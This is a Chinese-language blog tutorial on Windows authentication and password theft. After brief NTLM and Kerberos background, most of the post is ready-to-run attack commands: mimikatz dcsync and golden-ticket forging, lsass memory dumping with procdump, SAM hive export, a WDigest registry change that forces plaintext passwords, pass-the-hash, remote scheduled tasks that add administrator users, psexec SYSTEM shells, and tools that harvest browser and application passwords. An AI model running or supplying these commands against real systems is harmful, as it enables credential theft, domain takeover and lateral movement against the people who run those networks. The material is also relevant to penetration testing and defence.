windows认证&密码抓取

2023-11-16

基础知识

windows版本历史

windows历史版本:

1985:Windows 1.0
1987:Windows 2.0
1990:Windows 3.0
1995:Windows 95
1998:Windows 98
2000:Windows ME/ Windows 2000 Server
2001:Windows XP
2003:Windows Server 2003
2005:Windows Server 2003 R2
2006:Windows Vista
2008:Windows Server 2008
2009:Windows 7/ Windows Server 2008 R2
2012:Windows 8/ Windows 8.1 / Windows Server 2012
2013:Windows Server 2012 R2
2015:Windows 10
2016:Windows Server 2016
2019:Windows Server 2019
2021:Windows 11

一、工作组部分

密码存放在哪里?

一般都在C:\Windows\System32\config\SAM

当我们登录系统的时候,系统会自动地读取SAM文件中的“密码”与我们输入的“密码"进行比对,如果相同,证明认证成功!

NTML Hash

简介:
在这里插入图片描述

产生:
在这里插入图片描述

实验一下,16进制编码

str = binascii.hexlify("admin".encode())
#b'61646d696e'

unicode编码,两位一组,然后在后面加00(看图上是这么搞的)

n=2
strs = [str[i:i+n] for i in range(0, len(str), n)]
for i in strs:
	str += i+"00"
	
print(str)
#610064006d0069006e00

md4加密,这一步算出来就不对了,试了半天都不对

>>> hashlib.new('md4',str.encode()).hexdigest()
'c477236e88a7ae62a59e54e444612724'

放弃,直接使用python2的passlib中的nthash一把梭,sucess!

>>> from passlib.hash import nthash
>>> h = nthash.hash('admin')
>>> h
'209c6174da490caeb422f3fa5a7ae634'

windows本地认证

在这里插入图片描述

windows网络认证

网络认证也很简单,服务端随机产生一个16位的challenge,然后服务端,客户端都使用自己手里的ntml hashchallenge进行加密,服务端对比加密后的是否相等。
在这里插入图片描述

NTML v1与v2

vista之前:
NTML v1:可通过彩虹表还原

vista之后:
NTML v2:密码强度高,只能暴力破解

不同点:challenge长度不同8和16,加密算法不同DES和HMAC-MD5
在这里插入图片描述


二、域部分

kerbero协议

参考:Kerberos - 维基百科,自由的百科全书



白银票据

1、目标机器ntml hash

获取到了一台机器的ntml hash,可以直接伪造一个白银票据去访问这台机器



黄金票据

条件:
1、与DC通信
2、krbtgt用户的ntml hash
获取到了DC上krbtgt用户的ntml hash,可以用它伪造黄金票据,可以访问域内所有机器

黄金票据利用:(假设已经拿到域控shell)

先获取krbtgt用户的ntml hash

lsadump::dcsync /domain:hacke.testlab /user:krbtgt

在这里插入图片描述
拿到krbtgt用户的ntml hash后,就可以生成黄金票据了,有两种方法生成票据,一种是利用sid krbtgt的ntlm hash,还有一种是aes256_hmac

生成票据

#使用krbtgt的aes256_hmac值
kerberos::golden /domain:hacke.testlab /sid:S-1-5-21-335331429-2309386428-4146539646/aes256:feff09c189a9dc9ecd37910a1686beadd568c589e8a36ac
bffec5cea3ee4d119 /user:Administrator /ticket:test.kirbi
#使用krbtgt的ntlm hash值
kerberos::golden /domain:hacke.testlab /sid:S-1-5-21-335331429-2309386428-4146539646 /krbtgt:524f4bed4b8a362bda1a560b9779eadf /user:Administrator /ticket:test.kirbi

注:sid最后的-502是不需要的,例如我这里是S-1-5-21-335331429-2309386428-4146539646-502,那么就填S-1-5-21-335331429-2309386428-4146539646
查看票据是否生成

klist

利用:

先把生成的票据复制出来

copy \\10.1.1.2\c$\test.kirbi c:\

然后运行mimikatz

#导入票据
kerberos::ptt test.kirbi
#检验缓存票据
klist
#利用票据访问
net use \\xx.xx.xx.xx
dir \\xx.xx.xx.xx\c$



windows密码导出

windows密码导出分为两种方式,一种是在内存中读取,还有一种是读取sam文件。

在这里插入图片描述

lsass进程抓取

mimikatz直接操作lsass进程

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

注:因为它是从 lsass.exe进程中获取windows的账号密码,而每次关机重启后,lsass进程中的账号信息都会清空,所以只能抓到上次关机后登录过的账号密码的信息


procdump+mimikatz

procdump有windows的签名,一般不会被杀,可以用它导出lsass.dmp之后,再使用mimikatz导出密码

哥斯拉上线后上传procdump64.exe,使用它导出lsass.dmp

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

在这里插入图片描述

执行mimikatz,导出ntlm hash

mimikatz.exe "log" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

在这里插入图片描述



sam文件(密文,需要破解,或者通过hash传递使用)

用工具读取sam文件

使用mimikatz在线导出密码

mimikatz.exe "privilege::debug" "token::elevate" "log" "lsadump::sam" exit



注册表导出sam文件

管理员权限下执行 cmd

reg save hklm\sam .\sam.hiv
reg save hklm\system .\system.hiv

下载到本地 mimikatz 的目录打开 mimikatz

privilege::debug
token::elevate
lsadump::sam /sam:sam.hiv /system:system.hiv





高版本密码抓取

在 windows 10 / 2012r2 之后的系统版本中,默认情况下已禁⽤在内存缓存中存系统⽤户明⽂密码,此时再直接拿着 mimikatz 去抓明⽂,肯定是抓不到的,实际效果如下,密码字段位显示为 null:
在这里插入图片描述

⼿⼯修改注册表 + 强制锁屏 + 等待⽬标系统管理员重新登录 = 截取明⽂密

虽然默认在 2012 r2 之后的系统中已禁⽌在缓存中保存密码明⽂,但是我们已经拿到了⽬标机器的管理权限,此时可以⾃⾏通过修改注册表的⽅式来强制让它存明⽂,但前提是⽤户必须得先注销再重新登录才能⽣效,否则是获取不到的:

# 查看注册表
regedit
# 添加⼀个键和值
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1

这个时候 UseLogonCredential 的值为就 1 ,当这台机器重启或锁屏再登录之后我们就可以抓到明⽂密码了:
在这里插入图片描述

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"

可以发现已经抓取到了密码
在这里插入图片描述

windows凭据抓取

只要3389远程登录的时候点击记住凭证即可

查看凭据

cmdkey /list

导出

Import-Module .\Invoke-WCMDump.ps1
Invoke-WCMDump

抓到密码之后的hash传递

在这里插入图片描述
工作组环境的认证还是挺简单的,我们在获取到一台机器的hash后可以尝试哈希传递,mimikatz的方法如下:

#先提权
privilege::debug
#使用administrator用户的NTLM哈希值进行攻击
sekurlsa::pth /user:Administrator /domain:10.1.1.2 /ntlm:827701888ca1f1c728bef59f733ff69f

执行上面的命令后,会弹出一个cmd,我们可以用这个cmd直接连接该主机,还可以查看目录文件等操作(感觉不好用,实战还是用下面的psexec直接拿shell)

#将对方c盘映射到z盘
net use Z: \\10.1.1.2\c$
#文件操作
net use \\10.1.1.2\IPC$
copy test.exe \\10.1.1.2\c$
dir \\10.1.1.2\c$
# 删除ipc连接
net use \\10.1.1.2\IPC$ /del /y

ipc$常规使用流程:

# at
# 使用该方法创建远程计划任务需先建立IPC$连接。创建IPC$连接:
net use \\10.1.1.2 123456 /user:Administrator
# 创建远程计划任务:
at \\10.1.1.2 15:15 cmd.exe /c c:\\1.bat
# 执行命令
at \\10.1.1.2 12:00 cmd.exe /c net user Admin 123456 /add


# schtask
# 远程创建一次性计划任务,以下命令会创建一个名为test的计划任务:
schtasks /create /s 10.1.1.2 /tn test /sc onstart /tr "ipconfig > c:\1.txt" /ru system /f /u administrator /p 123456
# 立即执行计划任务
schtasks /run /tn test /s 10.1.1.2 /u administrator /p 123456
# 删除计划任务
schtasks /delete /tn test /f /s 10.1.1.2 /u administrator /p 123456

# server2016
winrm invoke create wmicimv2/win32_process @{commandline="\\10.1.1.2\c\test.exe"}

参考:https://www.dazhuanlan.com/2019/12/13/5df315922f254/

重点:psexec横向

在建立了 ipc$ 的情况下:还可以使用psexec获取shell

首先建立 ipc连接,利用mimikatz建立ipc连接也可以

# net建立ipc连接
net use \\10.1.1.2 /u:hacke\administrator password

然后执行如下命令,获取 System 权限的 Shell:

psexec.exe -accepteula \\10.1.1.2 -s cmd.exe
# -accepteula  第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框
# -s      以System权限运行远程进程,获得一个System权限的交互式Shell,如果不用这个参数,那么会获得一个administrator权限的shell

或者直接使用账号密码获取shell

PsExec64.exe -accepteula \\10.1.1.2 -s cmd.exe -u administrator -p 123456

使用mimipenguin获取linux明文登录密码

下载:https://github.com/huntergregal/mimipenguin

chmod 755 ./mimipenguin.sh
./mimipenguin.sh

kali2020上复现失败



Chrome、firefox、360 浏览器保存的密码获取

这个推荐使用Sharp-HackBrowserData,下载地址: S3cur3Th1sSh1t /
Sharp-HackBrowserData
,谷歌、火狐、IE、Vivaldi等常见的浏览器都能抓。

使用:

.\Sharp-HackBrowserData.exe

还有的工具比如BrowserGhost等。


数据库密码

SharpDecryptPwd-master,对密码已保存在 Windwos 系统上的部分程序进行解析,包括:Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品

> SharpDecryptPwd.exe
Usage: SharpDecryptPwd.exe -NavicatCrypto
       SharpDecryptPwd.exe -TeamViewer
       SharpDecryptPwd.exe -FileZilla
       SharpDecryptPwd.exe -WinSCP
       SharpDecryptPwd.exe -Xmangager -p Session_Path

数据库密码使用下面这个命令即可

SharpDecryptPwd.exe -NavicatCrypto



获取各类密码一把梭工具

1. GhostPack /Seatbelt ,几乎所有你能想到的它都能收集。

使用:

Seatbelt.exe -group=all -full -outputfile="C:\Temp\out.txt"

2.LaZagne是⽤于开源应⽤程序获取⼤量的密码存储在本地计算机上。每个软件都使⽤不同的技术(明⽂、API、⾃定义算法、数据库等)存储其密码。开发此⼯具的⽬的是为最常⽤的软件查找这些密码。

下载地址:https://github.com/AlessandroZ/LaZagne

使⽤方法:

laZagne.exe all



电脑上的敏感文件

将c盘所有文件的文件名写入logc.txt里

dir /s /a c:\ > logc.txt

找出所有包含password的文件

findstr /si password *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

windows认证&密码抓取 的相关文章

随机推荐

  • 隐藏设备管理器控件

    include
  • cocos学习笔记---Node 支持的事件类型

    Node 支持的事件类型主要有 export enum EventType 触摸事件 TOUCH START 0 当手指触点落在目标节点区域内时 TOUCH MOVE 0 当手指在屏幕上目标节点区域内移动时 TOUCH END 0 当手指在
  • 建立统计回归模型的基本步骤_基本回归模型

    建立统计回归模型的基本步骤 Linear Regression and Regression Trees 线性回归和回归树 by Satoru Hayasaka and Rosaria Silipo KNIME 由 悟早坂 和 罗萨丽娅Si
  • 如何在Latex中插入MATLAB代码

    最近在编写一篇文章时需要用到在latex中插入MATLAB代码 如果直接在文本中添加会使文章变得不美观 那么此时我们非常有必要了解一下如何在latex中插入优美的MATLAB代码 1 复制mcode std文件在latex目录里 通常情况下
  • MAC上安装LLVM+Clang

    MAC上安装LLVM Clang 折腾了一天的结果 感觉不把它写下来都对不住自己了 哭唧唧 参考资料 http clang llvm org get started html http blog csdn net shuaiby artic
  • vue中将base64流数据转成pdf文件可打印

    vue中将base64流数据转成pdf文件可打印 vue中将base64流数据转成pdf文件可打印 一 base编码转为pdf方法 二 打印方法 vue中将base64流数据转成pdf文件可打印 这次后端返参不是oss那边传回来的 而是传给
  • Springboot2(23)轻松整合shiro(带验证码)

    源码地址 springboot2教程系列 Shiro配置 1 Spring集成Shiro一般通过xml配置 SpringBoot集成Shiro一般通过java代码配合 Configuration和 Bean配置 2 Shiro的核心通过过滤
  • 多机器人协同编队的避障路径规划实现(基于一致性算法和人工势场算法的Matlab代码)

    多机器人协同编队的避障路径规划实现 基于一致性算法和人工势场算法的Matlab代码 在多机器人系统中 协同编队的避障路径规划是一个重要的问题 本文将介绍如何使用一致性算法和人工势场算法实现多机器人的协同编队和避障路径规划 并提供相应的Mat
  • 自定义异常类

    public class BasicException extends RuntimeException 异常信息 protected String msg 具体异常码 protected Integer code 捕获的异常 protec
  • 苹果系统中MoviePy第三方库合成视频没有声音

    现象 电脑端和安卓端可以正常播放 苹果手机和Mac没有声音 解决方法 改变下声道编码 在调用write videofile函数时加上参数audio codec aac
  • 将多组三维点拟合成平面方程MATLAB

    将三维点拟合成平面方程可以使用最小二乘法 最小二乘法可以找到最优的平面模型 使得拟合的平面与给定的三维点之间的误差最小化 以下是一个示例 演示如何使用最小二乘法将一组离散的三维点拟合成平面方程 function zg plane fitti
  • 华为OD机试 - 找出经过特定点的路径长度(Java)

    题目描述 无 输入描述 输入一个字符串 都是以大写字母组成 每个相邻的距离是 1 第二行输入一个字符串 表示必过的点 说明每个点可过多次 输出描述 经过这些必过点的最小距离是多少 用例 输入 ANTSEDXQOKPUVGIFWHJLYMCR
  • markdown文件中标题的序列号自动生成(非typora插件)

    非typora插件 在指定路径下新增文件 调整文件的标题序号 java cp md auto num 1 0 jar com emulate AutoGenerateNum 正式的标题中不能有空格 路径1 需要自动生成标题序号的md文件路径
  • JavaScript学习(二)javascript基础

    例1 p 我是第一段文字 p p 我是第二段文字 p
  • k8s Label 2

    在 k8s 中 我们会轻轻松松的部署几十上百个微服务 这些微服务的版本 副本数的不同进而会带出更多的 pod 这么多的 pod 如何才能高效的将他们组织起来的 如果组织不好便会让管理微服务变得混乱不堪 杂乱无章 因此 就有了标签 Label
  • linux最大的目录是什么,查找Linux上最大的前10个文件和目录

    有时 重要的是要找出正在吸收哪些文件或目录 Linux上的所有磁盘区域 同样 我们应该能够发现文件系统上的特定目录位置 例如 tmp 或 var 或 domestic 本文将帮助您使用Unix和Linux命令在文件系统上查找最重要或最大的文
  • vue-quill-editor 可选择字体配置

    vue quill editor 可选择字号配置 用到quill的组件内部 import quillEditor Quill from vue quill editor import quill dist quill core css im
  • 怎样监听音频播放完毕?

    非常简单 获取当前点击的音频的DOM元素myAudio myAuto addEventListener ended function myAuto pause alert 播放完毕 2 监听ended事件
  • 请求端nginx修改X-Frame-Options

    location dashboard db proxy hide header X Frame Options 忽略返回头的X Frame Options add header X Frame Options SAMEORIGIN alwa
  • windows认证&密码抓取

    文章目录 基础知识 windows版本历史 一 工作组部分 密码存放在哪里 NTML Hash windows本地认证 windows网络认证 NTML v1与v2 二 域部分 kerbero协议 白银票据 黄金票据 windows密码导出